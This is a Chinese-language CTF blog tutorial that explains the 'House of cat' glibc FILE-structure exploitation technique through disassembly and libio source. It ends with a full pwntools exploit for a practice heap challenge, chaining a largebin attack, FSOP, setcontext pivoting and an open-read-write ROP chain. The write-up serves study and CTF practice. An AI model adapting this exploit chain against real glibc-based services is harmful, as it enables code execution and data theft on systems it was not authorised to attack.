House of cat手法及部分源码分析

手法及源码分析

虽然之前我写过堆上orw的文章,但在2.39中我们会发现找不到控制rdx的这个magic gadget了

复制代码
mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

这样我们控制不了rdx也就没办法用setcontext来栈迁移了,虽然打House of apple再通过leave也依然可以实现栈迁移从而实现orw,但还是不太稳定。而House of some优点是当_wide_data结构体有了虚表检测之后也可以用,缺点是依然往栈上打rop,并且调用的函比较多,栈不是很稳定,很容易本地打通了远程打不通。是否有一种方法,能让我们控制rdx,重振setcontext荣光呢?

没错,这个方法就是House of cat,原文链接如下House of cat新型glibc中IO利用手法解析

以下算是我的学习成果吧,也就是我个人的理解了,觉得我写的不太好也可以去看看原文。我们在_IO_switch_to_wget_mode可以看见以下汇编。

复制代码
   0x7ff2ce08afc0 <_IO_switch_to_wget_mode+16>:	mov    rax,QWORD PTR [rdi+0xa0]
   0x7ff2ce08afc7 <_IO_switch_to_wget_mode+23>:	mov    rdx,QWORD PTR [rax+0x20]
   0x7ff2ce08afcb <_IO_switch_to_wget_mode+27>:	cmp    QWORD PTR [rax+0x18],rdx
   0x7ff2ce08afcf <_IO_switch_to_wget_mode+31>:	jae    0x7ff2ce08aff0 <_IO_switch_to_wget_mode+64>
   0x7ff2ce08afd1 <_IO_switch_to_wget_mode+33>:	mov    rax,QWORD PTR [rax+0xe0]
   0x7ff2ce08afd8 <_IO_switch_to_wget_mode+40>:	mov    esi,0xffffffff
   0x7ff2ce08afdd <_IO_switch_to_wget_mode+45>:	call   QWORD PTR [rax+0x18]

可以看见,我们想控制的rdx被赋了rax+0x20内的值,而rax是rdi+0xa0内的值。通过House of apple的学习,我们知道各种IO操作,我们的IOFILE结构体都是第一个参数,也即rdi的值就是我们IOFILE结构体里存放_flags字段的地址,所以rdi+0xa0其实就是 _wide_data结构体,而下文的mov rax,QWORD PTR rax+0xe0 也就是将 _wide_data偏移为0xe0的地址内的值给rax,其实 _wide_data偏移为0xe0不就是 _wide_data的虚表么,下面的call自然也就是call虚表函数了。虽然乍一看觉得很奇怪,但是细想其实都很合理。

所以只要我们调出来_IO_switch_to_wget_mode就可以控制rdx,然后调用setcontext,然后就可以愉快的ORW了,那么什么函数会调用他呢,我们去源码里看一下就知道了,在libio/wfileops.c可以看见如下源码(注释我去掉了,跟我们的手法关系不大)

复制代码
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;


  if (mode == 0)
    return do_ftell_wide (fp);

  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));

  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;

显然,我们首先需要调用_IO_wfile_seekoff这个函数,才可以继续接下来的操作,这个函数是一个虚表函数,所以我们只需要保证后面虚表能调用到他就好,后面需要mode不为0,这个mode就是判断这个文件流在处理的是宽字符还是窄字符,我实测下来在IOFILE结构体里不管它问题好像也不大,当然想管也可以写一下,原文下面评论区说只要让flag&0x2!=0就能进入buffered_vfprintf,该函数稳定让mode!=0也可以参考一下。

后面must_be_exact对我们影响不大,影响大的是was_writing,如果他为假那么后面if就直接为假就不会调用到_IO_switch_to_wget_mode了,所以我们要让他为真,条件是

复制代码
(fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp)
这个注意一下就好,也就是*(_wide_data+0x20)<*(_wide_data+0x28),简单来说也就是缓冲区有数据

后面就可以调用_IO_switch_to_wget_mode然后控制rdx,并且后面call了 _wide_data虚表+0x18偏移的函数,我们把这个函数改成setcontext就可以栈迁移了。当然我们也可以看看 _IO_switch_to_wget_mode源码

复制代码
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  if (_IO_in_backup (fp))
    fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
  else
    {
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
      if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
	fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
    }
  fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
    = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

  fp->_flags &= ~_IO_CURRENTLY_PUTTING;
  return 0;
}

可以看见前面这个if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)跟was_writing的检测其实是一样的,所以在我们的调用链中这个是自动满足的,也就会调用_IO_WOVERFLOW这个虚表函数,这个虚表函数距虚表的偏移就是0x18,虚表如下:

复制代码
const struct _IO_jump_t _IO_wstrn_jumps attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};#每个指针的间隔在64位下是0x8

总结

我个人觉得这还是很像House of apple的,就是调用的函数不一样,条件依然是能泄露libc,能打largebin attack或者tcache attack,调用链如下

复制代码
exit
	fcloseall
		_IO_cleanup
			_IO_flush_all_lockp
				_IO_OVERFLOW
					_IO_wfile_seekoff
    					_IO_switch_to_wget_mode
            					*(fp->_wide_data->_wide_vtable + 0x18)(fp)

所以我们前面依然是进行FSOP或者任意写直接改IOFILE结构体,原文提到的__malloc_assert在2.36就把fflush删了,也就是在2.36之后已经打不出原文的效果了,在2.37malloc_assert直接就被删了,所以在2.36之后就依然只有FSOP或者任意写直接改IOFILE结构体两种方法,但2.35还是可以打原文 提到的 _malloc_assert,具体虚表偏移我觉得还是自己多调试吧,不管是IOFILE结构体的虚表还是 _wide _data的虚表调用的都是 _IO_WOVERFLOW这个函数,也就是调用的虚表函数都是距离虚表偏移+0x18的位置,我们保证调用到 _IO_wfile_seekoff即可,虚表可以用 _IO_wfile_jumps

其他条件还记得要满足* (_wide_data+0x20)<*( _wide_data+0x28)以及注意rdx是 _wide_data+0x20的值,以及这个函数之后还会调用 _wide _data虚表偏移+0x18的函数即可。setcontext之后的方向和堆上的ORW - firefly_star - 博客园是一样的,没什么区别,想rop就rop,想写shellcode就写shellcode。

例题:Polarctf-unk

这也是老题目了,就不分析了,这题漏洞很多,有UAF,堆溢出,还能随便edit,也能申请任意大小的堆。下载可以去PolarD&N下载,就在pwn困难的左下角,当然我们肯定不是来写这个题的,只是借这题来实践一下我们的House of cat,所以先patchelf把他变成Ubuntu GLIBC 2.39-0ubuntu8.7其实2.34以上都可以,我就用个2.39了。

流程很简单,先打largebin attack打_IO_list_all实现FSOP,然后对这个堆进行布局打出来我们的House of cat 然后ORW即可(虽然这题没沙箱,不过我们可以认为有,我就用了UAF一个漏洞),当然也可以打tcache attack打stdout结构体,然后进行布局然后打House of cat。

具体布局可以看看总结,就不多说了,就说一下调用完setcontext之后,虽然2.39没有控制rdx的gadget,不过用setcontext可以直接调read写rop链,顺便把rdx控制好了,然后就直接ORW即可,当然有时候沙箱弄的很严就需要写srop或者shellcode了。我的解放是在一个堆上写了很多,其实可以多布局几个堆。exp如下

复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
import socks
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00'))
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(a,b):
    ru(b"choice:\n")
    sdr(1)
    ru(b"index:")
    sdr(a)
    ru(b"size:")
    sdr(b)
def edit(a,b,c):
    ru(b"choice:\n")
    sdr(3)
    ru(b"index:")
    sdr(a)
    ru(b"length:")
    sdr(b)
    ru(b"content:")
    sd(c)
def free(s):
    ru(b"choice:\n")
    sdr(2)
    ru(b"index:")
    sdr(s)
def show(s):
    ru(b"choice:\n")
    sdr(4)
    ru(b"index:")
    sdr(s)
add(0,0x490)
add(1,0x20)
add(2,0x4a0)
add(3,0x10)
add(4,0x460)
add(3,0x10)
free(4)
free(2)
show(4)
rcl()
libcbase=u6(6)-0x203b20
setc=libcbase+0x4A98D+9
iolis=libcbase+libc.sym['_IO_list_all']
ph(libcbase)
add(3,0x20)
edit(3,0x10,b'b'*0x10)
show(3)
ru(b'b'*0x10)
heap=u6(4)
ph(heap)
edit(2,0x20,flat(0,0,0,iolis-0x20))
free(0)
add(3,0x10)
end=libcbase+0x98fb6
rdi=libcbase+0x10f78b
rsi=libcbase+0x110a7d
rax=libcbase+0xdd237
s=SigreturnFrame()
s.rax=0
s.rdi=0
s.rsi=heap
s.rsp=heap+8
s.rdx=0x500
s.rip=end
pay=flat({
0x18:1,
0x78:heap,
0xc8:libc.sym['_IO_wfile_jumps']+libcbase+0x30,
0x90:heap-0x9a0+0x140},filler=b'\x00')
pay=pay.ljust(0x130,b'\x00')+flat({
0x0:heap-0x9a0+0x140+0x30,
0x20:heap-0x9a0+0x140+0xe8,
0x28:heap-0x9a0+0x140+0xe8+1,
0x48:setc,
0xe0:heap-0x9a0+0x140+0x30,
},filler=b'\x00')+bytes(s)
edit(0,0x400,pay)
ru(b"choice:\n")
dbg()
sdr(5)
pause()
pay=b'./flag\x00\x00'+flat(rax,2,rdi,heap,rsi,0,end)+flat(rax,0,rdi,3,rsi,heap-0x200,end)+flat(rax,1,rdi,1,rsi,heap-0x200,end)
sd(pay)
ti()

效果如下